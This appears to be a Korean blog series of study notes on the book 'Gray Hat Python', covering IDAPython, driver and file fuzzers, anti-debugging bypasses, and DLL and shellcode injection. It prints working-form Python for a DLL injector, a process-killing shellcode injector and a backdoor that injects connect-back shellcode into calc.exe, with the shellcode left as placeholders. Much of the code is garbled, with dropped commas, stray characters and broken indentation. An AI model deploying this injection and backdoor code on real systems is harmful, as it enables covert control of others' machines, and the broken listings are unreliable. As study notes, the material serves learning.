[6주] 11장 IDAPython

Posted by dw0rdptr
2015. 2. 23. 14:54 Study/파이썬 해킹 프로그래밍

IDA Pro는 강력한 정적 분석 도구이다. 대부분의 아키텍쳐에 대한 바이너리를 분석할 수 있으며, 다양한 플랫폼에서 동작하고, 디버거를 내장하고 있다. 또한 IDC라는 자체 스크립트 언어를 갖고있으면 개발자가 IDA 플러그인 API를 사용할 수 있게 SDK를 제공한다.

2004년 IDAPython이 릴리즈되었는데, 이는 리버스 엔지니어가 IDA 플러그인 API와 IDC 스크립트, 파이썬이 제공하는 모듈에 접근할 수 있게 해주는 플러그인이다.


IDAPython은 IDC와 완벽히 호환되므로 IDC가 지원하는 모든 함수를 사용할 수 있다. 그중 스크립트를 작성할 때 주로 사용되는 함수를 살펴보자


유틸리티 함수

ScreenEA()

- IDA 화면에 있는 커서의 현재 위치를 구한다

GetInputFileMD5()

- IDA에 로드된 바이너리의 MD5 해시 값을 구한다.


세그먼트 - IDA에서 바이너리는 여러 세그먼트(CODE,DATA,BSS,STACK,CONST,XTRN)으로 나뉜다.  다음 함수들은 바이너리 내부의 세그먼트에 관한 정보를 구하는데 사용된다

FirstSeg()

- 바이너리의 첫 번째 세그먼트의 시작 주소를 반환한다.

NextSeg()

- 바이너리의 다음 세그먼트 시작주소를 반환한다. 더 이상 반환할 세그먼트 주소가 없다면 BADADDR을 반환

SegByName( string SegmentName)

- 특정 세그먼트 이름을 갖는 세그먼트의 시작 주소를 반환

SegEnd( long Address)

- 특정 주소가 포함되는 세그먼트의 마지막 주소 반환

SegStart( long Address)

- 특정 주소가 포함되는 세그먼트의 시작주소반환

SegName(long Address)

- 특정 주소가 포함되는 세그먼트의 이름반환

Segments()

- 바이너리에 있는 모든 세그먼트의 시작 주소 리스트를 반환


함수 - 바이너리 내의 함수에 관련된 작업을 수행할 때 유용하게 사용되는 함수

Functions( long StartAddress, long EndAddress )

- StartAddress와 EndAddress 사이에 존재하는 함수들의 시작 주소 리스트를 반환

Chunks( long FunctionAddress)

- 함수리스트를 반환

LocByName( string FunctionName )

- 특정 이름을 갖는 함수의 주소를 반환

GetFuncOffset( long Address )

- 함수 내의 주소를 함수 이름과 해당 함수 내에서의 오프셋 값을 나타내는 문자열로 변환

GetFunctionName( long Address )

- 특정 주소가 속하는 함수의 이름을 반환


교차 참조 - 대상 바이너리의 코드가 어떻게 실행되어 가는지, 그때의 데이터 흐름이 어떻게 변하는지 등을 교차함수 로 확인하는데, IDAPython은 다양한 교차 참조를 판단할 수 있게 많은 함수를 제공


CodeRefsTo( long Address, bool Flow )

- 특정 주소에 대한 코드 참조 리스트를 반환

CodeRefsFrom( long Address, bool Flow )

- 특정 주소로부터의 코드 참조 리스트를 반환

DataRefsTo( long Address )

- 특정 주소에 대한 데이터 참조 리스트를 반환

DataRefsFrom( long Address )

- 특정 주소로부터의 데이터 참조 리스트를 반환

'Study > 파이썬 해킹 프로그래밍' 카테고리의 다른 글

[6주] 10장 윈도우 드라이버 퍼징  (0) 2015.02.23
[5주] 09장 Sulley  (0) 2015.02.23
[5주] 08장 퍼징  (0) 2015.02.16
[4주] 07장 DLL과 코드 인젝션  (0) 2015.02.16
[3주] 05장~06장 후킹  (0) 2015.01.26

[6주] 10장 윈도우 드라이버 퍼징

Posted by dw0rdptr
2015. 2. 23. 09:20 Study/파이썬 해킹 프로그래밍

윈도우 드라이버를 공격에는 드라이버에 대한 원격 공격보단 공격 대상 시스템에 대한 상승된 권한을 획득하기 위해 로컬 드라이버를 공격하는 것이 보편적이다. 오버플로우나 Impersonation 공격 취약점이 있는 드라이버가 로컬에 설치되어 있는 경우 그것을 이용하면 시스템 권한을 획득하기 때문에 원격으로 공격해 제한된 권한만을 얻었을 때보다 훨씬 자유롭게 시스템의 모든 정보에 접근 할 수 있다.

드라이버가 상호작용하려면 유저모드와 커널 모드 간의 변환이 이뤄져야 한다. 

불안정하게 구현된 loctl 핸들러를 이용하면 상승된 권한을 획득하거나 공격 대상 시스템에서 에러가 발생하게 만들 수 있다.


이제 Immunity 디버거의 후킹기능을 이용해 드라이버 퍼징을 해보자

윈도우 시스템에서는 드라이버 통신을 위해 IOCTL을 전달하려면 DeviceIoControl 함수를 사용해야 하는데 이 함수의 호출이 드라이버에 전달되기 전에 중간에 가로채 내용을 변경 할 수 있다. 이런 식으로 Immunity 디버거를 이용해 간단한 퍼저를 만들 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#ioctl_fuzzer.py
import struct
import random
from immlib import*
 
class ioctl_hook(LogBpHook):
    
    def __init__(self):
 
        self.imm = Debugger()
        self.logfile = "C:\ioctl_log.txt"
        LogBpHook.__init__(self)
 
    def run(self, regs):
        """
        ESP+4    -> hDevice
        ESP+8    -> IoControlCode
        ESP+C     -> InBuffer
        ESP+10     -> InBufferSize
        ESP+14     -> OutBuffer
        ESP+18    -> OutBufferSize
        ESP+1C    -> pBytesReturned
        ESP+20     -> pOverLapped
        """
 
        in_buf =""
 
        ioctl_code = self.imm.readLong(regs['ESP']+8)
 
        inbuffer_size = self.imm.readLong(regs['ESP'+ 0x10)
 
        inbuffer_ptr = self.imm.readLong(regs['ESP'+ 0xC)
 
        in_buffer = self.imm.readMemory(inbuffer_ptr, inbuffer_size)
        mutated_buffer = self.mutate(inbuffer_size)
 
        self.imm.writeMemory(inbuffer_ptr, mutated_buffer)
 
        self.save_test_case( ioctl_code, inbuffer_size, in_buffer, mutated_buffer )
 
 
    def mutate( self, inbuffer_size ):
 
        counter = 0
        mutated_buffer = ""
 
        while counter < inbuffer_size:
            mutated_buffer += struct.pack( "H", random.randint(0255) )[0]
            counter += 1
 
        return mutated_buffer
 
    def save_test_case( self, ioctl_code, inbuffer_size, in_buffer, mutated_buffer ):
 
        message = "*****\n"
        message += "IOCTL Code: 0x%08x\n" % ioctl_code
        message += "Buffer Size: %d\n" % inbuffer_size
        message += "Original Buffer: %s\n" % in_buffer
        message += "Mutated Buffer: %s\n" % mutated_buffer.encode("HEX")
        message += "*****\n\n"
 
        fd = open(self.logfile, "a")
        fd.write(message)
        fd.close()
 
def main(args):
 
    imm = Debugger()
 
    deviceiocontrol = imm.getAddress( "kernel32.DeviceIoControl" )
        
    ioctl_hooker = ioctl_hook()
    ioctl_hooker.add( "%08x" % deviceiocontrol, deviceiocontrol )
        
    return "[*] IOCTL Fuzzer Ready for Action!"
 
cs


1.ioctl_fuzzer.py 파일을 immunity 디버거의 PyCommand 디렉토리에 넣는다. 

2. Immunity 를 실행하고 Open 메뉴로 와이어샤크를 실행시킨다 .

3. PyCommand로 ioctl_fuzzer를 이용해 퍼징을 수행한다.

4. 퍼징 수행 내용이 C:\ 경로에 로깅된다.


이 기술은 쉽고 효과적인 반면 퍼징 대상이되는 디바이스의 이름을 알지 못하며 유저 모드 소프트웨어가 사용하는 IOCTL 코드만을 알 수 있기 때문에 모든 테스트 케이스를 테스트 할 수 있는 것은 아니다.


Driverlib는 디바이스 이름과 IOCTL 코드 등 드라이버에서 핵심이 되는 정보를 자동으로 추출한다. 드라이버 퍼저에서 사용할 디바이스 이름과 IOCTL 코드를 driverlib를 통해 구한다.

사용법은 간단하다. C:\WINDOWS\System32\drivers\beep.sys 드라이버를 로드한 후 immunity 디버거의 PyShell에서

>>>import driverlib

>>>driver = driverlib.Driver()

>>>driver.getDeviceNames()

['\\Device\\Beep']

>>>

세 줄의 코드만을 작성해 \\Device\\Beep 라는 디바이스 이름을 찾아냈다.


이제 드라이버 퍼저를 작성하자. 먼저 IOCTL 코드 리스트와 디바이스 리스트를 구해 dictionary를 다시 파일에 저장한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import pickle
import driverlib
from immlib import *
def main( args ):
    ioctl_list = []
    device_list = []
    
    dbg = Debugger()
    driver = driverlib.Driver()
 
    ioctl_list = driver.getIOCTLCodes()
    if not len(ioctl_list):
        return "[*] ERROR! Couldn't find any IOCTL codes."
 
    device_list = driver.getDeviceNames()
    if not len(device_list):
        return "[*] ERROR! Couldn't find any device names."
 
    master_list = {}
    master_list["ioctl_list"= ioctl_list
    master_list["device_list"= device_list
 
    fd = open( args[0], "wb")
    pickle.dump( master_list, fd )
    fd.close()
 
    return "[*] SUCCESS! Saved IOCTL codes and device names to %s" % args[0]
 
cs


디바이스 이름과 지원되는 IOCTL 코드값을 구했으므로 간단한 퍼저를 작성하자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import pickle
import sys
import random
from ctypes import *
 
kernel32 = windll.kernel32
 
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
 
fd = open(sys.argv[1], "rb")
master_list = pickle.load(fd)
ioctl_list = master_list["ioctl_list"]
device_list = master_list["device_list"]
fd.close()
 
valid_devices = []
 
for device_name in device_list:
 
        device_file = u"\\\\.\\%s" % device_name.split("\\")[::-1][0]
        print "[*] Testing for device: %s" % device_file
        
        driver_handle = kernel32.CreateFileW(device_file,GENERIC_READ|
                                    GENERIC_WRITE,0,None,OPEN_EXISTING,0,None)
        if driver_handle:
            print "[*] Success! %s is a valid device!"
                
            if device_file not in valid_devices:
                        valid_devices.append( device_file )
            kernel32.CloseHandle( driver_handle )
        else:
            print "[*] Failed! %s NOT a valid device."
if not len(valid_devices):
        print "[*] No valid devices found. Exiting..."
        sys.exit(0)
 
while 1:
 
        fd = open("my_ioctl_fuzzer.log","a")
 
        current_device = valid_devices[ random.randint(0len(valid_devices)-1 ) ]
        fd.write("[*] Fuzzing: %s" % current_device)
 
        current_ioctl = ioctl_list[ random.randint(0len(ioctl_list)-1)]
        fd.write("[*] With IOCTL: 0x%08x" % current_ioctl)
 
        current_length = random.randint(010000) y
        fd.write("[*] Buffer length: %d" % current_length)
 
        in_buffer = "A" * current_length
 
        out_buf = (c_char * current_length)()
        bytes_returned = c_ulong(current_length)
 
        driver_handle = kernel32.CreateFileW(device_file, GENERIC_READ|
                                GENERIC_WRITE,0,None,OPEN_EXISTING,0,None)
        fd.write("!!FUZZ!!")
 
        kernel32.DeviceIoControl( driver_handle, current_ioctl, in_buffer,
                                current_length, byref(out_buf),
                                current_length, byref(bytes_returned),
                                None )
 
        fd.write( "[*] Test case finished. %d bytes returned.\n" % bytes_returned.value )
 
        kernel32.CloseHandle( driver_handle )
        fd.close()
 
cs


'Study > 파이썬 해킹 프로그래밍' 카테고리의 다른 글

[6주] 11장 IDAPython  (0) 2015.02.23
[5주] 09장 Sulley  (0) 2015.02.23
[5주] 08장 퍼징  (0) 2015.02.16
[4주] 07장 DLL과 코드 인젝션  (0) 2015.02.16
[3주] 05장~06장 후킹  (0) 2015.01.26

[5주] 09장 Sulley

Posted by dw0rdptr
2015. 2. 23. 06:11 Study/파이썬 해킹 프로그래밍

Sulley는 파이썬기반의 강력한 퍼징 프레임워크로서 패킷을 캡쳐할 수 있고 광범위한 에러 보고 기능과 VMWare  자동화를 제공한다.


Sulley는 퍼징 프로토콜을 나타내는 데이터 형식을 제공해 복잡한 프로토콜도 빠르게 만들 수 있다.

이런 각 데이터 컴포넌트들을 프리미티브라 부른다.

기본적인 프리미티브들에는


문자열(string)

가장 자주 사용하게 되는 프리미티브로 s_string() 지시어를 사용해 프리미티브 안에 포함돼 잇는 데이터가 문자열이라는 것을 나타낸다.

구분자(Delimiter)

긴 문자열을 처리하기 쉽게 여러개의 문자열로 나누는데 사용되는 짧은 문자열이다. s_delim()    지시어를 사용한다.

정적,랜덤 프리미티브

정적 문자열은 s_static()지시어를 사용하고 길이가 유동적인 랜덤 데이터는 s_random()      지시어를 이용해 만들어낸다. 랜덤데이터를 만들때는 몇 개의 인자가 사용되는데, min_length와 max_length 인자는 랜덤데이터의 최소, 최대 길이를 나타내고 num_mutations 인자는 원래의 데이터를 사용하기 전까지 Sulley가 문자열을 변형하는 횟수를 나타낸다.

바이너리 데이터(Binary Data) 

바이너리 데이터 프리미티브는 어떤 바이너리 데이터든 복사해 사용할 수 있으며, 이는 알려지지 않은 프로토콜의 패킷을 캡쳐할 때나 형식이 완전하게 갖춰지지 않은 데이터에 대해 서버가 단지 어떻게 응답하는지 보고자 할 때 특히 유용하다. s_binary() 지시어를 사용한다.

정수(Integer)

텍스트나 바이너리 프로토콜 모두에서 길이를 판단하거나 데이터 구조체를 표현하기위해, 그 밖의 모든 종류의 작업을 수행하기 위해 정수가 사용된다.  Sulley는 다음과 같이 주요 정수형을 모두 지원한다

------------------------------------

1 byte - s_byte(), s_char()

2 bytes - s_word(), s_short()

4 bytes - s_dword(), s_long(), s_int()

8 bytes - s_qword(), s_double()

------------------------------------


블록과 그룹은 프리미티브들을 구조적인 방법으로 연결하기 위해 Sulley가 제공하는 특징이다. 


블록 - 각 프리미티브들의 집합을 하나의 구조 안으로 모으는 것

그룹 - 특정 프리미티브들의 집합을 블록에 연결해 해당 블록에 대한 퍼징이 반복적으로 수행되는 동안에 각 프리미티브가 주기적으로 퍼징에 사용되게 하는 것






'Study > 파이썬 해킹 프로그래밍' 카테고리의 다른 글

[6주] 11장 IDAPython  (0) 2015.02.23
[6주] 10장 윈도우 드라이버 퍼징  (0) 2015.02.23
[5주] 08장 퍼징  (0) 2015.02.16
[4주] 07장 DLL과 코드 인젝션  (0) 2015.02.16
[3주] 05장~06장 후킹  (0) 2015.01.26

[5주] 08장 퍼징

Posted by dw0rdptr
2015. 2. 16. 17:30 Study/파이썬 해킹 프로그래밍

퍼징은 소프트웨어에 있는 버그를 찾아내는 가장 효과적인 기술중 하나로, 애플리케이션이 에러를 발생하게 만들기 위해 비정상적인 데이터를 만들어 애플리케이션에 전달하는 방법이다.

퍼저에는 제너레이션 퍼저와 뮤테이션 퍼저 두 가지가 있는데,

제너레이션 퍼저는 새로운 데이터를 생성해 전달하는 반면에 뮤테이션 퍼저는 기존의 데이터를 생성해 대상 애플리케이션에 전달한다.


효과적인 퍼저를 만들기 위해선 먼저 버그의 유형을 간단히 살펴볼 필요가 있다.

버그의 유형으로는 가장 흔한 형태의 소프트웨어 취약점인 버퍼오버플로우로 분류되는 스택기반의 오버플로우, 힙 기반의 오버플로우다. 또 흔하게 볼 수 있는 유형인 정수 오버플로우와 포맷스트링 공격도 있다.

파일 포맷 취약점을 이용하는 공격 벡터는 파일 포맷 파서 자체의 버그를 찾아내는 방향으로 관심을 기울여야 한다. 목적 달성을 위해서는 모든 종류의 다양한 파일 포맷에대한 변형을 만들 수 있어야 한다.

이제 퍼저를 구현해보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
#file_fuzzer.py
from pydbg import *
from pydbg.defines import *
 
import utils
import random
import sys
import struct
import threading
import os
import shutil
import time
import getopt
 
class file_fuzzer:
    def __init__(self, exe_path, ext, notify):
 
        self.exe_path             = exe_path
        self.ext                 = ext
        self.notify_crash         = notify
        self.orig_file             = None
        self.mutated_file         = None
        self.iteration             = 0
        self.exe_path             = exe_path
        self.orig_file             = None
        self.mutated_file         = None
        self.iteration             = 0
        self.crash                 = None
        self.send_notify         = False
        self.pid                 = None
        self.in_accessv_handler = False
        self.dbg                 = None
        self.running             = False
        self.ready                 = False
 
        #option
        self.smtpserver = 'mail.nostarch.com'
        self.recipients = ['jms@bughunter.ca',]
        self.sender = 'jms@bughunter.ca'
 
        self.test_cases = ["%s%n%s%n%s%n""\xff""\x00""A"]
 
    def file_picker(self):
 
        file_list = os.listdir("examples/")
        list_length = len(file_list)
        file = file_list[random.randint(0, list_length - 1)]
        shutil.copy("examples\\%s" % file"test.%s" % self.ext)
        
        return file
 
    def fuzz(self):
        while 1:
        if not self.running:
 
            self.test_file = self.file_picker()
            self.mutate_file()
 
            pydbg_thread = threading.Thread(target = self.start_debugger)
            pydbg_thread.setDaemon(0)
            pydbg_thread.start()
 
            while self.pid == None:
                time.sleep(1)
 
            monitor_thread = threading.Thread(target = self.monitor_debugger)
            monitor_thread.setDaemon(0)
            monitor_thread.start()
            self.iteration += 1
 
        else:
            time.sleep(1)
 
    def start_debugger(self):
 
        print "[*] Starting debugger for iteration: %d" % self.iteration
        self.running = True
        self.dbg = pydbg()
 
        self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, self.check_accessv)
        pid = self.dbg.load(self.exe_path, "test.%s" % self.ext)
        
        self.pid = self.dbg.pid
        self.dbg.run()
 
    def check_accessv(self, dbg):
 
        if dbg.dbg.u.Exception.dwFirstChance:
            return DBG_CONTINUE
 
        print "[*] Woot! Handling an access violation!"
        self.in_accessv_handler = True
        crash_bin = utils.crash_binning.crash_binning()
        crash_bin.record_crash(dbg)
        self.crash = crash_bin.crash_synopsis()
 
        crash_fd = open("crashes\\crash-%d" % self.iteration, "w")
        crash_fd.write(self.crash)
 
        shutil.copy("test.%s" % self.ext, "crashes\\%d.%s" % 
                        (self.iteration, self.ext))
        shutil.copy("examples\\%s" % self.test_file, "crashes\\%d_orig.%s" % 
                        (self.iteration, self.ext))
        
        self.dbg.terminate_process()
        self.in_accessv_handler = False
        self.running = False
        
        return DBG_EXCEPTION_NOT_HANDLED
 
    def monitor_debugger(self):
        counter = 0
        print "[*] Monitor thread for pid: %d waiting." % self.pid,
        
        while counter < 3:
            time.sleep(1)
            print counter,
            counter += 1
        
        if self.in_accessv_handler != True:
            time.sleep(1)
            self.dbg.terminate_process()
            self.pid = None
            self.running = False
        else:
            print "[*] The access violation handler is doing its business. Waiting."
            while self.running:
                time.sleep(1)
 
    def notify(self):
 
        crash_message = "From:%s\r\n\r\nTo:\r\n\r\nIteration:%d\n\nOutput:\n\n %s" % 
                            (self.sender, self.iteration, self.crash)
 
        session = smtplib.SMTP(smtpserver)
        session.sendmail(sender, recipients, crash_message)
        session.quit()
        
        return
 
    def mutate_file(self):
 
        fd = open("test.%s" % self.ext, "rb")
        stream = fd.read()
        fd.close()
 
        test_case = self.test_cases[random.randint(0len(self.test_cases) - 1)]
        stream_length = len(stream)
        rand_offset = random.randint(0, stream_length - 1)
        rand_len = random.randint(11000)
 
        test_case = test_case * rand_len
 
        fuzz_file = stream[0:rand_offset]
        fuzz_file += str(test_case)
        fuzz_file += stream[rand_offset]
 
        fd = open("test.%s" % self.ext, "wb")
        fd.write(fuzz_file)
        fd.close()
 
        return
    def print_usage():
        
        print "[*]"
        print "[*] file_fuzzer.py -e  -x "
        print "[*]"
        
        sys.exit(0)
        
        if __name__ == "__main__":
            print "[*] Generic File Fuzzer."
 
        try:
            opts, argo = getopt.getopt(sys.argv[1:], "e:x:n")
        
        except getopt.GetoptError:
            
            print_usage()
 
        exe_path = None
        ext = None
        notify = False
 
        for o,a in opts:
        
            if o == "-e":
                exe_path = a
            elif o == "-x":
                ext = a
            elif o == "-n":
                notify = True
 
        if exe_path is not None and ext is not None:
            fuzzer = file_fuzzer(exe_path, ext, notify)
            fuzzer.fuzz()
        else:
            print_usage()
 
 
 
 
cs


'Study > 파이썬 해킹 프로그래밍' 카테고리의 다른 글

[6주] 10장 윈도우 드라이버 퍼징  (0) 2015.02.23
[5주] 09장 Sulley  (0) 2015.02.23
[4주] 07장 DLL과 코드 인젝션  (0) 2015.02.16
[3주] 05장~06장 후킹  (0) 2015.01.26
[3주] 05장 - 윈도우 DEP우회  (0) 2015.01.26

[4주] 07장 DLL과 코드 인젝션

Posted by dw0rdptr
2015. 2. 16. 13:42 Study/파이썬 해킹 프로그래밍

DLL 인젝션과 코드 인젝션에는 몇 가지 차이가 있지만 두 가지 방법 모두 원격스레드 생성이라는 동일한 방법으로  수행된다.

원격스레드를 생성하는 데 사용되는 Win32 API는 CreateRemoteThread()이다.

프로토타입

HANDLE WINAPI CreateRemoteThread(
    HANDLE  hProcess,
    LPSECURITY_ATTRIBUTES  lpThreadAttributes,
    SIZE_T  dwStackSize,
    LPTHREAD_START_ROUTINE  lpStartAddress,
    LPVOID  lpParameter,
    DWORD  dwCreationFlags,
    LPDWORD  lpThreadId
);



DLL 인젝션 기술은 선악에 구분없이 오래동안 광범위하게 사용되어왔다.

DLL인젝션의 장점은 컴파일된 바이너리를 프로세스 내에 로드하고 그것을 해당 프로세스의 일부분으로 실행시킬 수 있다는 것이다. 

프로세스가 DLL을 메모리에 로드하게 만들어보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#dll_injector.py
#-*- coding: utf-8 -*-
import sys
 
from ctypes import *
 
PAGE_READWRITE        = 0x04
PROCESS_ALL_ACCESS    = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM            = (0x1000 | 0x2000)
 
kernel32    = windll.kernel32
pid         = sys.argv[1]
dll_path    = sys.argv[2]
dll_len     = len(dll_path)
 
 
#DLL을 인젝션할 프로세스의 핸들을 구한다
h_process   = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
 
if not h_process:
    print "[*] Couldn't Acquired a Handle to PID : %s" % pid
    sys.exit(0)
 
 
# DLL의 경로를 저장하기 위한 공간 할당
 
arg_address = kernel32.VirtualAllocEx(h_process,
                                      0,
                                      dll_len,
                                      VIRTUAL_MEM,
                                      PAGE_READWRITE)
 
#할당한 공간에 DLL의 경로를 써넣음
written = c_int(0)
kernel32.WriteProcessMemory(h_process,
                            arg_address,
                            dll_path,
                            dll_len,
                            byref(written))
 
#LoadLibraryA의 주소를 구함
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib  = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
 
#원격스레드를 생성하고 DLL의 경로를 파라미터로 전달해 LoadLibraryA가 실행
thread_id = c_ulong(0)
 
if not kernel32.CreateRemoteThread(h_process,
                                    None,
                                    0,
                                    h_loadlib,
                                    arg_address,
                                    0,
                                    byref(thread_id)):
    print "[*] Failed To Inject the DLL. Exiting."
    sys.exit(0)
 
print "[*] Remote Thread With ID 0x%08x created" % thread_id.value
cs

코드 인젝션은 실행중인 프로세스에 셸코드를 삽입해 메모리상에서 실행되게 만들 수 있다. 또한 공격자가 다른 프로세스로 셸 커넥션을 바꾸는 것이 가능하다. 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#code_injector.py
#-*- coding: utf-8 -*-
import sys
from ctypes import *
 
#셸코드가 할당한 메모리 블록에서 실행될 수 있게 메모리 블록의 권한을 설정
PAGE_EXECUTE_READWRITE    = 0x00000040
PROCESS_ALL_ACCESS        = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM                = (0x1000 | 0x2000)
 
kernel32    = windll.kernel32
pid           = int(sys.argv[1])
pid_to_kill  = sys.argv[2]
 
if not sys.argv[1or not sys.argv[2]:
    print "Code Injector: ./code_injector.py [pid to="" inject=""] [pid to="" kill=""]"
    sys.exit(0)
 
shellcode = #셸코드가 들어갈 자리
 
padding            = 4 - (len(pid_to_kill))
replace_value    = pid_to_kill + ("\x00" * padding)
replace_string    = "\x41" * 4
 
shellcode    = shellcode.replace(replace_string, replace_value)
code_size    = len(shellcode)
 
#인젝션을 수행할 프로세스의 핸들을 구한다.
h_process    = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
 
if not h_process:
    print "[*] Couldn't acquire a handle to PID : %s" % pid
    sys.exit(0)
 
#셸코드를 위한 공간을 할당
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM,
                                                        PAGE_EXECUTE_READWRITE)
 
#셸코드를 써넣는다.
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode,
                                             code_size, byref(written))
 
#원격스레드를 생성하고 그것이 실행시킬 코드의 시작 주소를 셸코드의 시작 부분으로 설정.
thread_id = c_ulong(0)
    if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 0,
                                                         byref(thread_id)):
    print "[*] Failed To Inject process-killing shellcode."
    sys.exit(0)
 
print "[*] Remote thread created with a thread ID of : 0x%08x" % thread_id.value
print "[*] Process %s shellcode should not ne running anymore!" % pid_to_kill
cs

이번에는 인젝션 기술을 시스템의 권한을 획득하는 데 활용될 수 있는 백도어 제작에 사용해 보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#backdoor.py
#-*- coding: utf-8 -*-
#my_debugger_defines.py파일 필요
 
import sys
from ctypes import *
from my_debugger_defines import *
 
kernel32                = windll.kernel32
 
PAGE_EXECUTE_READWRITE    = 0x00000040
PROCESS_ALL_ACCESS        = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM                = (0x1000 | 0x2000)
 
#원래의 실행 바이너리
path_to_exe                = "C:\\calc.exe"
 
startupinfo                     = STARTUPINFO()
process_information        = PROCESS_INFORMATION
creation_flags                = CREATE_NEW_CONSOLE
startupinfo.dwFlags        = 0x01
startupinfo.wShowWindow    = 0x00
startupinfo.cb                      = sizeof(startupinfo)
 
#원래의 실행 바이너리 프로세스를 생성하고 PID저장
kernel32.CreateProcessA(path_to_exe,
                                     None,
                                     None,
                                     None,
                                     None,
                                     creation_flags,
                                     None,
                                     None,
                                     byref(startupinfo),
                                     byref(process_information))
 
pid = process_information.dwProcessId
 
def inject(pid, data, parameter = 0):
    #인젝션을 수행할 프로세스의 핸들을 구한다
    h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
 
    if not h_process:
        print "[*] Couldn't acquire a handler to PID : %s" % pid
        sys.exit(0)
 
    arg_address = kernel32.VirtualAllocEx(h_process,
                                          0,
                                          len(data),
                                          VIRTUAL_MEM,
                                          PAGE_EXECUTE_READWRITE)
    written = c_int(0)
 
    kernel32.WriteProcessMemory(h_process,
                                arg_address,
                                data,
                                len(data),
                                byref(written))
 
    thread_id = c_ulong(0)
 
    if not parameter:
        start_address = arg_address
    else:
        h_kernel32         = kernel32.GetModuleHandlerA("kernel32.dll")
        start_address     = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
        parameter        = arg_address
 
    if not kernel32.CreateRemoteThread(h_process,
                                       None,
                                       0,
                                       start_address,
                                       parameter,
                                       0,
                                       byref(thread_id)):
        print "[*] Failed to inject the DLL"
        sys.exit(0)
  
    return True
 
#이제 백도어 프로세스 자체를 종료시키기 위해 다른프로세스에 코드인젝션 수행
connect_back_shellcode = #shellcode
 
inject( pid, connect_back_shellcode)
 
our_pid = str(kernel32.GetCurrentProcessId())
 
process_killer_shellcode = #shellcode
 
padding = 4 -(len(our_pid))
replace_value = our_pid + ("\x00" * padding)
replace_string = "\x41" * 4
process_killer_shellcode= 
process_killer_shellcode.replace(replace_string, replace_value)
 
inject(our_pid, process_killer_shellcode)
 
cs


[3주] 05장~06장 후킹

Posted by dw0rdptr
2015. 1. 26. 09:33 Study/파이썬 해킹 프로그래밍

Immunity 디버거와 파이썬을 이용하면 안티 디버깅 루틴을 우회할 수 있는 간단한 스크립트를 작성해

악성코드 분석 시에 사용할 수 있다. 


가장 널리 사용되는 안티디버깅 기법은 kernel32.dll이 익스포트하는 IsDebuggerPresent함수이다.

파라미터가 없으며 디버거가 프로세스에 붙여져있으면 1, 아니면 0을 반환한다.

디스어셈블해보면 PEB(Process Environment Block)구조체의 오프셋 0x2위치에있는 BeingDebugged 값을 EAX

레지스터에 할당하고 리턴한다.


imm.writeMemory(imm.getPEBaddress() + 0x2, "\x00")

위 코드는 단순히 PEB의 BeingDebugged 플래그 값을 0으로 만드는 것으로

IsDebuggerPresent 함수를 사용하는 악성코드의 경우에는 디버거가 붙여진 것을 알아차리지 못하게 된다.



또한 악성코드는 디버거가 실행중인지 확인하기 위해 반복적으로 실행중인 프로세스를 검사하기도 하는데,

이 때 Process32First 함수와 Process32Next 함수를 이용한다. 두 함수 모두 실행결과의 성공여부를 나타내기 위해

boolean값을 반환하는데, 마찬가지로 EAX 레지스터 값을 0으로 만들고 바로 리턴하게 함수를 패치하면 악성코드는

실행중인 프로세스 리스트를 구할 수 없다.



06장 - 후킹


